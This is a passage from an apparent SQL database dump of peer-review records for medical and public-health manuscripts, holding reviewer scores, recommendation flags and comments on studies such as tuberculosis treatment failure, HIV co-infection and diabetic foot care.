written.','','2021-09-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4434,11520,9973,NULL,'5','g','y','y','y','Early identification of determinants of tuberculosis (TB) treatment failure is urgently needed in resource-limited settings. This study describes the profile and determinants of TB treatment failure in a high-incidence setting where patients were managed at a TB control program with significant resource limitations. The study set out to describe affordable predictors of TB treatment failure in North West Ethiopia. Unmatched case control study design was conducted.\r\nThe purpose of this study is to show that the treatment failure rate among smear-positive TB patients.  TB treatment failure was associated with older age, large family size, co-infected with HIV, long duration of cough before diagnosis and positive sputum smear at end of two months.\r\nOverall well written with significant data.','','2021-09-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4436,11520,9753,NULL,'6','g','y','y','y','The purpose of quantitative study is to determine and describe the knowledge, attitudes and practices of UNAM fourth year nursing students when caring for people living with HIV/AIDS. The study also helped to understand whether UNAM curriculum was sufficient in equipping nursing students with sufficient knowledge, sound attitude and good practice when caring for people living with HIV/AIDS\r\n\r\nOverall well written with limited data using a questionnaire.','','2021-09-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4438,18259,9713,NULL,'5','g','n','y','y','  ','','2021-09-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4446,11446,10200,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"How Household Income and Consumption are Affected by Lifestyle Diseases in an Emerging Economy?\", please find my comments.\r\n\r\nI do agree that,  In this paper, the authors showcase the abnormal increase in lifestyle diseases such as diabetes, hypertension and heart diseases, in India, an emerging economy.\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited is revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','the article is good','2021-09-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4457,13669,10368,NULL,'4','g','n','y','y','1.	the topic is not unique, but worthy of researching\r\n2.	there are thousands of papers in google scholar about this topic since 2017 \r\n3.	the title is attractive, but please need delete (, June-July 2019)\r\n4.	the abstract is good, but revise (discussion) by (conclusion)\r\n5.	the aim is clear\r\n6.	the KEYWORDS are good\r\n7.	lack of graphical ABSTRACT\r\n8.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n9.	the text arrangement is good\r\n10.	the logic is fair due to the small sample size, lack of follow up and short duration\r\n11.	there are few grammatical errors in this article\r\n12.	the related concepts are introduced \r\n13.	the readability is sufficient\r\n14.	the proposed experiment is not novel\r\n15.	the results are good for this small sample size\r\n16.	lack of rigorous derivation of formulas/ equations\r\n17.	all tables are clear enough to summarize the results for presentation to the readers\r\n18.	all tables are well referred to in the text\r\n19.	lack of figures \r\n20.	the theoretical analysis in this article is insufficient, please discuss all your results then compare with the same topic published work\r\n21.	the discussion of results from multiple angles is insufficient\r\n22.	the conclusion is good  \r\n23.	the reference section contains some old ref\r\n24.	please use google scholar search engine then set it since 2017\r\n25.	Bias is present\r\n26.	Fund is mentioned\r\n27.	Conflict of interest is mentioned\r\n28.	Ethical committee is not mentioned\r\n29.	Acknowledgement is mentioned\r\n30.	Please improve the ability of theoretical analysis or writing skills\r\n31.	You can use my suggestions\r\n','This is an expert author\r\nmy final decision is Acceptable with minor modifications\r\n','2021-09-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4458,10962,8872,NULL,'4','g','y','y','y','well writen manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2-(https://doi.org/10.1089/lrb.2020.0093) and (10.1111/tbj.14072. Epub 2020 Oct 10.) suggested studies for the references.','i ll evaulate after revision','2021-09-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4468,17212,9772,NULL,'5','G','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “Health Burden of Oral Cancer in South Asia Accountable to Consumption of Unregulated Flavored Smokeless Tobacco Products”. It is indeed an interesting outlook on the Smokeless Tobacco (SLT) consumption is an important health issue responsible for cardiovascular diseases, oral and esophageal cancers with a significant impact on quality of life.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have Exposure to high concentrations of nitrosamines and cancer mortality among a cohort of rubber workers.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and mechanisms of cancer induction by tobacco-specific NNK and NNN.\r\nI liked the concept of using smokeless tobacco products (STPs) harbour bacterial populations with potential for oral carcinogenicity.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4477,11520,10315,NULL,'4','g','y','y','y','The methodology should be elaborated for example the study area, population on whom this specific study undergone. On other hands the software which researcher used. Result should be written in elaborated ways to give meaning for the readers.The authors should add the area where this specific was undergone. They should use line spacing at least 1.5 or more the separate sentences. In my opinion the authors should elaborate the finding more by comparing similar studies conducted in different areas. They should also put references for the source from they used for their writing. They should put wrote for them permission for the ethical clearance. They should elaborate a little more to give meaning for the readers. This is very short conclusion. Page, journal name and other essential parts of reference writing should be written. So, in my opinion every references should be fulfill the full criteria of references. ','','2021-09-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4478,11520,10263,NULL,'6','g','y','y','y','The aim of this longitudinal study, with a descriptive and quantitative approach is to soughtto verify the effects of aquatic psychomotricity on psychomotor and mental factors in elderly people with stroke sequels. This research used the Psychomotricity Session Performance Evaluation Scale to quantify the evolution of patients during the treatment. Overall well written.','','2021-09-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4479,11520,10263,NULL,'6','g','y','y','y','The aim of this longitudinal study, with a descriptive and quantitative approach is to soughtto verify the effects of aquatic psychomotricity on psychomotor and mental factors in elderly people with stroke sequels. This research used the Psychomotricity Session Performance Evaluation Scale to quantify the evolution of patients during the treatment. Overall well written.','','2021-09-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4481,20093,10344,NULL,'5','r','y','y','y','The article The Cole Relaxation Frequency as a Parameter to Identify and Spatially Map Cancer in Breast Tissue: Preliminary in vivo Patient Study has clear logic and the experimental data has certain reference significance, Electrical Impedance Tomography (EIT) is a technique for creating an image of the interior of an object based on current and voltage measurements acquired by an array of electrodes placed on the outside of the object. Several methods of inverting the externally acquired data to create the internal image have been reported.  Unfortunately these methods have poorly conditioned equations connecting the measured data to the internal electrical parameters, producing noise limitations on the output images resulting in discontinuance of an EU funded program in EIT. This problem can be overcome by instead placing the electrodes on a geometric array that allows the inversion solution to be expressed in a complete orthogonal set of equations. As a preliminary information i recommend it for publish.','Approved','2021-09-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4482,11446,9944,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Prevalence of Malaria and Associated Factors Among Households in Guanga, Abaya District, Oromia Regional State, Southern Ethiopia: A Community Based Cross-Sectional study\", please find my comments.\r\n\r\nI do agree that, A community-based cross-sectional study was conducted among households in Guanga town southern Ethiopia; 2018.\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','The article is Good and Publish the Rticle','2021-09-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4508,18830,10466,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described The Prevalence of Hepatis E, Hepatitis C and Hepatitis B Surface Antigenemias in HAART Experienced People Living with Human Immunodeficiency Virus (HIV). All samples which define of HIV, HBsAg, HCV, HBV, ART were explained very well. In the present study, Coinfection with Hepatitis C Virus (HCV), Hepatitis E Virus (HEV), and Hepatitis B surface antigen (HBsAg) with Human Immunodeficiency Virus (HIV) is affirmed among the studied group\r\nTables are well defined.\r\nThe author had observed the health facilities within the Niger delta area of Nigeria. This will help bring about better patient management and put a better perspective to epidermiology of these groups of infectious diseases. \r\nDefinitely, i will accept this article to publish.','','2021-09-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4512,19964,10265,NULL,'5','r','y','y','y','The paper is well written and illustrated the injuries happened in the cricket to shoulder. Aim of the study is to evaluate the association of shoulder joint injuries in fast bowling cricket players. The objective of the study is to systematically review the literature on the association of shoulder joint injuries in fast bowling cricket players. Cricket is a safe sport with a relatively low overall player injury rate but, due to the extreme stress of repetitive vigorous shoulder loading, fast bowlers are highly prone to injuries, with bowlers accounting for 45%-60% of all injuries suffered by cricketers. Shoulder joint injuries are especially common, accounting for one-fifth to one-third of all injuries sustained by cricketers. I recommend it for publication.','Approved it for publication','2021-09-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4529,12875,10738,NULL,'5','R','D','M','Y','The manuscript is a good systematic analysis of 11 centers using Hyaluronic corrosive burn and intense wound dressings, with few drawbacks, and minimal unfavorable impacts. As 46% of the burns accomplished closure without any skin approximation strategy. Authors conclude that Numerous wound dressings and networks, are accessible worldwide for the treatment of burns and intense wounds and  Hyaluronic corrosive-based items may be preferred though the supply situation needs improvement','The manuscript can be published with a caution that much larger studies maybe need to justify making Hyaluronic corrosive burn and intense wound dressings, the most preferred ones. ','2021-09-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4530,17212,10138,NULL,'5','g','y','y','y','It is a huge pride for me to review a paper that deals with the health care of people working in nuclear plants whcih is highly risky.\r\nNuclear plants produce radiation resulting is the production of free radicals which is highly desctructive to the DNA and even causes cancer upon high dose exposure.\r\nThere are many instances of mortality due to exposure to free radicals in the recent years. The study produced sources of damage due to exposure to different types of radiation. In the light of evidences that the study has provided, one can conclude that the rate of cancinogenecity is mostly due to radon and gamma radiation and nucleoids paly no key role in such destruction.\r\nI would appreciate the author\'s dedication and efforts to provide a quality health care to all the workers who bind to work at nuclear plants.\r\nI strongly suggest publishing the study, without any further changes and I wish this study would reflect well on the author\'s contribution and the journal impact as well.\r\n','','2021-09-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4539,18830,10763,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described the Treatment of Periapical Chronic Periodontitis Using Antifungal Drugs and the Periodontal disease is an infectious disease with a mixed microbial etiology and a pronounced inflammatory response, the therapy is aimed at eliminating the pathogenic microorganisms associated with the disease, and is usually treated by nonsurgical mechanical treatment of the root canal.\r\nThe tables and figures are explained very well.\r\nThe author had observed The results obtained allow us to recommend a temporary endodontic paste based on zinc oxide with eugenol and antifungal supplements.\r\nDefinitely, I will accept this article to publish.','','2021-09-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4542,18838,10648,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described the Is Immunology Growing Rapidly in Scientific Field. Immunologists study how the immune system defends the body against attacks from micro-organisms.\r\nAuthor had observed the diagnostics arena immunologically procedures are the basis of many haematological microbiologically, biochemical and histopathological tests and there is a lot of cross-over.\r\nDefinitely, I will accept this article to publish.','','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4543,18830,10649,NULL,'5','g','y','y','y','\r\nThis article gives good information and adequate data.\r\nThe author had well described the Clinical Issues is the Human Dimension of a Drug Project. The main feature of Translational Medicine is the bringing function between preclinical and clinical research.\r\nThe author had observed The implies that throwing a drug over the fence is not optional if the final output is to be measured in terms of the number of approved new drugs being sold on the market.\r\nDefinitely, I will accept this article to publish.','','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4546,11520,10413,NULL,'6','g','y','y','y','The main purpose of the study was to evaluate the repercussions of the maternal diet and epigenetic changes in early life and its repercussions on the development of obesity. Author well described that the abdominal obesity was a risk factor for the development of hypertriglyceridemia and a reduction in LDL cholesterol. According to this study the maternal diet has an important role in cardiometabolic development due to the increase in food consumption and, consequently, an increase in body weight through an epigenetic mechanism. Overall well written. ','','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4547,11520,10413,NULL,'6','g','y','y','y','The main purpose of the study was to evaluate the repercussions of the maternal diet and epigenetic changes in early life and its repercussions on the development of obesity. Author well described that the abdominal obesity was a risk factor for the development of hypertriglyceridemia and a reduction in LDL cholesterol. According to this study the maternal diet has an important role in cardiometabolic development due to the increase in food consumption and, consequently, an increase in body weight through an epigenetic mechanism. Overall well written. ','','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4548,11520,10413,NULL,'6','g','y','y','y','The main purpose of the study was to evaluate the repercussions of the maternal diet and epigenetic changes in early life and its repercussions on the development of obesity. Author well described that the abdominal obesity was a risk factor for the development of hypertriglyceridemia and a reduction in LDL cholesterol. According to this study the maternal diet has an important role in cardiometabolic development due to the increase in food consumption and, consequently, an increase in body weight through an epigenetic mechanism. Overall well written. ','','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4549,11520,10413,NULL,'6','g','y','y','y','The main purpose of the study was to evaluate the repercussions of the maternal diet and epigenetic changes in early life and its repercussions on the development of obesity. Author well described that the abdominal obesity was a risk factor for the development of hypertriglyceridemia and a reduction in LDL cholesterol. According to this study the maternal diet has an important role in cardiometabolic development due to the increase in food consumption and, consequently, an increase in body weight through an epigenetic mechanism. Overall well written. ','','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4550,18593,10816,NULL,'1','G','N','Y','Y','#I strongly recommend the author to re write the manuscript with senior researchers because the whole document is not well organized according to research format/journal\r\n manuscript preparation guidline\r\n\r\n# the idea is not consistent between topic, objective and result\r\n#reference too small. addition there sited reference in the text but not written literature  under reference \r\n# no discussion section\r\n# no declaration section','Dear Editor\r\nthanks for your contribution. I recommend manuscripts should be checked for completeness and formatted according to research/manuscript format before sent to reviewer. for example this manuscript is incomplete( no discussion, no declaration, methodology and other sections miss arranged and missed.\r\n\r\nsincerely,\r\nDerebe m  \r\n\r\n\r\n','2021-10-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4562,12875,10865,NULL,'4','R','N','M','Y','The manuscript brings attention to the role of hypothyroidism in cholesterol cholelithiasis in women. It establishes a statistically significant independent relationship between serum TSH and fasting bile TSH in female patients of gallstone. The authors need to infer the course of action with this association. \r\nIn a country with a prevalence of hypothyroidism of about 4% and subclinical hypothyroidism of 10% and the ratio of male: female being 1:2., A similar study of 50 cases in Cochin Medical College between April and September 2014 does bring out the hypothesis of considering Hypothyroidism as a separate risk factor like age, sex, obesity in cholelithiasis patients. ','With 26 cases over a period of nearly 2 years, establishing a correlation between TSH and fasting bile TSH in 26 female patients of gallstone is fine but not enough evidence for a course of action. The authors should suggest the value add of their findings for Public Health Action if any.','2021-10-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4563,11520,10414,NULL,'6','g','y','y','y','The aim of this work is to analyze through a literature review, the effects of HIIT on the body composition of its practitionersthe studies that investigated the effects of high intensity interval training (HIIT) on the body composition of its practitioners.  This study was carried out, based on the bibliographical research of original articles on the effects on body composition provided by HIIT. Overall well written. ','','2021-10-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4569,11520,10351,NULL,'6','g','y','y','y','The aim of this study is to assess  the practices of traditional plant medicine use among communities of Wonchi District. The results were summarized and displayed in narrative and tables/figures/by using frequency and percentage.\r\nOverll well written with quantitative and qualitative data. ','','2021-10-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4579,11520,10350,NULL,'6','g','y','y','y','The aim of this study is to assess the indigenous knowledge of medicinal plant use among local communities of Wonch District, Western Ethiopia. In this study Descriptive statistics was used to analyze the data. The results were summarized and displayed in narrative and tables/figures/by using frequency and percentage.\r\nOverll well written with quantitative and qualitative data. ','','2021-10-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4592,11520,10665,NULL,'6','g','y','y','y','The aim of this study is to Explore the performance and strength & weakness of antigen rapid test methods in detecting COVID-19 epidemic. Antigen detection method has own advantages in COVID-19 epidemic. In this study detection rate of COVID-19 antigen was decreased gradually, it was corresponding to the nature of antigen in the human body. Overall the manuscript is well written','','2021-10-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4597,11520,10409,NULL,'6','g','y','y','y','Job satisfaction (JS) of employees has been studied in the past by various researchers beginning in the 1930s till date. Each of these research works went on to add a perspective to JS and its measurement. This is the first study to confirm the validity and reliability of the instrument for measuring job satisfaction of administrative staff working in a hospital in Vietnam, which appears to have good psychometric properties. It could be used for regular monitoring and evaluation of the hospital’s human resource.\r\n\r\nThe mail purpose of this study was to confirm the validity and reliability of a job satisfaction instrument to assess the satisfaction of administrative staff at Hanoi Obstetrics & Gynecology Hospital, Vietnam. Study was conducted in two phases. First, a nine-step translation process was done with an appropriate instrument for measuring job satisfaction among administrative staff. Second, a quantitative survey of administrative staff in the hospital. \r\nOverall well written\r\n','','2021-10-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4599,11520,10144,NULL,'6','g','y','y','y','This study was aimed to determine the trends in pulmonary tuberculosis and rifampicin resistance using GeneXpert™ among TB-presumptive cases at Wolkite health center, Southern Ethiopia. In this study, the overall trends of Mycobacterium tuberculosis and rifampicin resistance were found to be significant and with variation each year.\r\nOverall well written with scarcity of data on the trends of Mycobacterium tuberculosis and refampicin resistance in southern part of Ethiopia and summarized using descriptive statistics, tables, and figures. ','','2021-10-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4600,15588,10838,NULL,'5','r','d','m','y','Mother suicide  topic need more scientific ,social, health and organizational efforts and adjustments to decrease or abolish the causes and predisposing factors also need more scientific researches deals with heredity and genetic factors.','Mother suicide  topic need more scientific ,social, health and organizational efforts and adjustments to decrease or abolish the causes and predisposing factors also need more scientific researches deals with heredity and genetic factors.','2021-10-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4610,12022,10147,NULL,'3','D','N','Y','N','PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACIÓN DEL PIE EN RIESGO Y SU INTERVENCIÓN OPORTUNA.\r\nHe leído este manuscrito y creo que sería aceptable si se modificaran y aclararan varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que los autores revisen los siguientes comentarios:\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Comentarios generales:\r\nEn mi opinión, el texto es excesivamente largo para una revista médica (hay que recordar que no es un capítulo de un libro de texto). Aconsejo reducir su extensión.\r\n\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados / Discusión y Conclusiones.\r\n\r\n-Método:\r\nEn mi opinión, los autores deberían dejar claro qué método se utiliza en el artículo y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método\".\r\n\r\nParece que el estudio es una \"revisión\".\r\n1.-Si se trata de una revisión sistemática, los autores deben tener en cuenta que una revisión sistemática debe incluir, al menos, los siguientes datos:\r\n- ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n- Claridad sobre las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, para incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa está relacionada con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados (recomendaciones hechas con evidencia débil).\r\n- Debe existir algún sistema para reportar la calidad y solidez de la recomendación, como el sistema GRADE (Indica en qué medida podemos confiar en que la estimación del efecto de la intervención es correcta y en qué medida podemos confiar en que la implementación de la recomendación trae más beneficios que riesgos).\r\n- Debe haber una determinación de heterogeneidad.\r\n- Debe haber un análisis de subgrupos (a menudo es interesante observar una categoría especial de participantes de la revisión (p. Ej., Un grupo de edad o la gravedad de la enfermedad).\r\n- Debe haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto los estudios publicados como los no publicados para evitar incurrir en sesgos de selección).\r\n2.-¿Se basa en una búsqueda de información no sistemática u oportunista?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n\r\n-Tablas y figuras:\r\nSi se usan imágenes publicadas previamente debe tenerse la autorización del autor.\r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y escriban utilizando el estilo de Vancouver.\r\n\r\nDIABETIC FOOT. TOOLS FOR THE IDENTIFICATION OF THE FOOT AT RISK AND ITS TIMELY INTERVENTION.\r\nI have read this manuscript and I think it would be acceptable if several aspects were modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors review the following comments:\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-General comments:\r\nIn my opinion, the text is excessively long for a medical journal (it must be remembered that it is not a chapter in a textbook). I advise reducing its extension.\r\n\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\n\r\nIt appears that the study is a \"review\".\r\n1.-If it is a systematic review, the authors must bear in mind that a systematic review must include, at least, the following data:\r\n- What scientific and methodological quality criteria were used to choose the articles included in the review?\r\n- Clarity about the methodological characteristics of the studies to be included or excluded (eg to include only randomized controlled trials).\r\n- Information on validity (internal validity: refers to the ability to avoid systematic errors or biases through the design and conduct of the study, while external validity is related to the applicability of the results to a specific population) and quality of the studies used (recommendations made with weak evidence).\r\n- There must be some system to report the quality and soundness of the recommendation, such as the GRADE system (It indicates to what extent we can trust that the estimate of the effect of the intervention is correct and to what extent we can trust that the implementation of the recommendation brings more benefits than risks).\r\n- There must be a determination of heterogeneity.\r\n- There should be a subgroup analysis (often it is interesting to look at a special category of review participants (eg an age group or severity of illness).\r\n- There must be a determination of publication bias (the collection of information must be comprehensive; both published and unpublished studies to avoid incurring selection bias).\r\n2.- Is it based on an unsystematic or opportunistic search for information?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n\r\n-Tables and figures:\r\nIf previously published images are used, the author\'s authorization must be obtained.\r\n\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style.','PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACIÓN DEL PIE EN RIESGO Y SU INTERVENCIÓN OPORTUNA.\r\nHe leído este manuscrito y creo que sería aceptable si se modificaran y aclararan varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que los autores revisen los siguientes comentarios:\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Comentarios generales:\r\nEn mi opinión, el texto es excesivamente largo para una revista médica (hay que recordar que no es un capítulo de un libro de texto). Aconsejo reducir su extensión.\r\n\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados / Discusión y Conclusiones.\r\n\r\n-Método:\r\nEn mi opinión, los autores deberían dejar claro qué método se utiliza en el artículo y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método\".\r\n\r\nParece que el estudio es una \"revisión\".\r\n1.-Si se trata de una revisión sistemática, los autores deben tener en cuenta que una revisión sistemática debe incluir, al menos, los siguientes datos:\r\n- ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n- Claridad sobre las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, para incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa está relacionada con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados (recomendaciones hechas con evidencia débil).\r\n- Debe existir algún sistema para reportar la calidad y solidez de la recomendación, como el sistema GRADE (Indica en qué medida podemos confiar en que la estimación del efecto de la intervención es correcta y en qué medida podemos confiar en que la implementación de la recomendación trae más beneficios que riesgos).\r\n- Debe haber una determinación de heterogeneidad.\r\n- Debe haber un análisis de subgrupos (a menudo es interesante observar una categoría especial de participantes de la revisión (p. Ej., Un grupo de edad o la gravedad de la enfermedad).\r\n- Debe haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto los estudios publicados como los no publicados para evitar incurrir en sesgos de selección).\r\n2.-¿Se basa en una búsqueda de información no sistemática u oportunista?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n\r\n-Tablas y figuras:\r\nSi se usan imágenes publicadas previamente debe tenerse la autorización del autor.\r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y escriban utilizando el estilo de Vancouver.\r\n\r\nDIABETIC FOOT. TOOLS FOR THE IDENTIFICATION OF THE FOOT AT RISK AND ITS TIMELY INTERVENTION.\r\nI have read this manuscript and I think it would be acceptable if several aspects were modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors review the following comments:\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-General comments:\r\nIn my opinion, the text is excessively long for a medical journal (it must be remembered that it is not a chapter in a textbook). I advise reducing its extension.\r\n\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\n\r\nIt appears that the study is a \"review\".\r\n1.-If it is a systematic review, the authors must bear in mind that a systematic review must include, at least, the following data:\r\n- What scientific and methodological quality criteria were used to choose the articles included in the review?\r\n- Clarity about the methodological characteristics of the studies to be included or excluded (eg to include only randomized controlled trials).\r\n- Information on validity (internal validity: refers to the ability to avoid systematic errors or biases through the design and conduct of the study, while external validity is related to the applicability of the results to a specific population) and quality of the studies used (recommendations made 